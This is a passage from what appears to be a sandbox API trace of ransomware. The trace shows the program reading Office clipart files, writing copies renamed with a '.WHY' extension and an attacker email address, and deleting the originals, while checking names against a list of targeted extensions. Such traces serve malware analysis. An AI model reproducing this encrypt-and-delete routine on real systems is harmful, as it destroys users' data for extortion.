lstrlenW (lpString=".1cd") returned 4 [0243.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.081] lstrlenW (lpString=".jpg") returned 4 [0243.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.081] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0243.082] lstrlenW (lpString="AN01060_.WMF") returned 12 [0243.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.508] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=7968) returned 1 [0246.508] CloseHandle (hObject=0x354) returned 1 [0246.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0247.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0247.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0247.801] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.801] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0247.802] GetLastError () returned 0x0 [0247.802] ReadFile (in: hFile=0x354, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x1f20, lpOverlapped=0x0) returned 1 [0247.850] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0247.853] ReadFile (in: hFile=0x354, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.853] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.854] SetEndOfFile (hFile=0x37c) returned 1 [0247.880] CloseHandle (hObject=0x37c) returned 1 [0247.882] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.882] SetEndOfFile (hFile=0x354) returned 1 [0247.912] CloseHandle (hObject=0x354) returned 1 [0247.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0248.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.088] lstrlenW (lpString=".doc") returned 4 [0248.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.088] lstrlenW (lpString=".docx") returned 5 [0248.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.088] lstrlenW (lpString=".pdf") returned 4 [0248.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.088] lstrlenW (lpString=".xls") returned 4 [0248.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.088] lstrlenW (lpString=".xlsx") returned 5 [0248.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.088] lstrlenW (lpString=".ppt") returned 4 [0248.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.089] lstrlenW (lpString=".zip") returned 4 [0248.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.089] lstrlenW (lpString=".rar") returned 4 [0248.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.089] lstrlenW (lpString=".bz2") returned 4 [0248.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.089] lstrlenW (lpString=".7z") returned 3 [0248.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.089] lstrlenW (lpString=".dbf") returned 4 [0248.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.089] lstrlenW (lpString=".1cd") returned 4 [0248.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.090] lstrlenW (lpString=".jpg") returned 4 [0248.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.090] lstrlenW (lpString=".doc") returned 4 [0248.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.090] lstrlenW (lpString=".docx") returned 5 [0248.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.090] lstrlenW (lpString=".pdf") returned 4 [0248.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.091] lstrlenW (lpString=".xls") returned 4 [0248.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.091] lstrlenW (lpString=".xlsx") returned 5 [0248.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.091] lstrlenW (lpString=".ppt") returned 4 [0248.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.091] lstrlenW (lpString=".zip") returned 4 [0248.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.091] lstrlenW (lpString=".rar") returned 4 [0248.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.092] lstrlenW (lpString=".bz2") returned 4 [0248.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.092] lstrlenW (lpString=".7z") returned 3 [0248.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.092] lstrlenW (lpString=".dbf") returned 4 [0248.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.092] lstrlenW (lpString=".1cd") returned 4 [0248.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0248.092] lstrlenW (lpString=".jpg") returned 4 [0248.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.093] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0248.093] lstrlenW (lpString="AN01218_.WMF") returned 12 [0248.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.292] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3012) returned 1 [0248.292] CloseHandle (hObject=0x3ac) returned 1 [0248.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0248.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0250.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.173] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.173] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.333] GetLastError () returned 0x0 [0251.333] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0251.350] WriteFile (in: hFile=0x384, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0251.353] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.353] WriteFile (in: hFile=0x384, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.353] SetEndOfFile (hFile=0x384) returned 1 [0251.354] CloseHandle (hObject=0x384) returned 1 [0251.359] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.359] SetEndOfFile (hFile=0x3bc) returned 1 [0253.709] CloseHandle (hObject=0x3bc) returned 1 [0253.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0253.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0253.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.909] lstrlenW (lpString=".doc") returned 4 [0253.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.909] lstrlenW (lpString=".docx") returned 5 [0253.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.909] lstrlenW (lpString=".pdf") returned 4 [0253.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.909] lstrlenW (lpString=".xls") returned 4 [0253.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.909] lstrlenW (lpString=".xlsx") returned 5 [0253.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.910] lstrlenW (lpString=".ppt") returned 4 [0253.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.910] lstrlenW (lpString=".zip") returned 4 [0253.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.910] lstrlenW (lpString=".rar") returned 4 [0253.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.910] lstrlenW (lpString=".bz2") returned 4 [0253.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.910] lstrlenW (lpString=".7z") returned 3 [0253.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.911] lstrlenW (lpString=".dbf") returned 4 [0253.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.911] lstrlenW (lpString=".1cd") returned 4 [0253.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.911] lstrlenW (lpString=".jpg") returned 4 [0253.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.912] lstrlenW (lpString=".doc") returned 4 [0253.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.912] lstrlenW (lpString=".docx") returned 5 [0253.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.912] lstrlenW (lpString=".pdf") returned 4 [0253.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.912] lstrlenW (lpString=".xls") returned 4 [0253.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.912] lstrlenW (lpString=".xlsx") returned 5 [0253.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.912] lstrlenW (lpString=".ppt") returned 4 [0253.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.913] lstrlenW (lpString=".zip") returned 4 [0253.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.913] lstrlenW (lpString=".rar") returned 4 [0253.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.913] lstrlenW (lpString=".bz2") returned 4 [0253.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.913] lstrlenW (lpString=".7z") returned 3 [0253.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.913] lstrlenW (lpString=".dbf") returned 4 [0253.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.913] lstrlenW (lpString=".1cd") returned 4 [0253.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0253.914] lstrlenW (lpString=".jpg") returned 4 [0253.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.914] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0253.914] lstrlenW (lpString="AN04117_.WMF") returned 12 [0253.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.995] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=6060) returned 1 [0253.995] CloseHandle (hObject=0x3ac) returned 1 [0253.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0253.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0253.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.996] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.996] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.998] GetLastError () returned 0x0 [0253.998] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x17ac, lpOverlapped=0x0) returned 1 [0255.541] WriteFile (in: hFile=0x38c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0255.546] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.555] WriteFile (in: hFile=0x38c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.556] SetEndOfFile (hFile=0x38c) returned 1 [0255.557] CloseHandle (hObject=0x38c) returned 1 [0255.559] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.559] SetEndOfFile (hFile=0x3ac) returned 1 [0259.464] CloseHandle (hObject=0x3ac) returned 1 [0259.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0259.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0259.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.501] lstrlenW (lpString=".doc") returned 4 [0259.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.502] lstrlenW (lpString=".docx") returned 5 [0259.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0259.502] lstrlenW (lpString=".pdf") returned 4 [0259.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.502] lstrlenW (lpString=".xls") returned 4 [0259.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.502] lstrlenW (lpString=".xlsx") returned 5 [0259.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0259.502] lstrlenW (lpString=".ppt") returned 4 [0259.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.503] lstrlenW (lpString=".zip") returned 4 [0259.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.503] lstrlenW (lpString=".rar") returned 4 [0259.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.503] lstrlenW (lpString=".bz2") returned 4 [0259.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.503] lstrlenW (lpString=".7z") returned 3 [0259.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.503] lstrlenW (lpString=".dbf") returned 4 [0259.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.503] lstrlenW (lpString=".1cd") returned 4 [0259.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.504] lstrlenW (lpString=".jpg") returned 4 [0259.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.504] lstrlenW (lpString=".doc") returned 4 [0259.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.504] lstrlenW (lpString=".docx") returned 5 [0259.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0259.505] lstrlenW (lpString=".pdf") returned 4 [0259.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.505] lstrlenW (lpString=".xls") returned 4 [0259.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.505] lstrlenW (lpString=".xlsx") returned 5 [0259.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0259.505] lstrlenW (lpString=".ppt") returned 4 [0259.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.505] lstrlenW (lpString=".zip") returned 4 [0259.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.506] lstrlenW (lpString=".rar") returned 4 [0259.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.506] lstrlenW (lpString=".bz2") returned 4 [0259.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.506] lstrlenW (lpString=".7z") returned 3 [0259.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.506] lstrlenW (lpString=".dbf") returned 4 [0259.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.506] lstrlenW (lpString=".1cd") returned 4 [0259.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0259.507] lstrlenW (lpString=".jpg") returned 4 [0259.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.507] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0259.507] lstrlenW (lpString="AN04191_.WMF") returned 12 [0259.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program 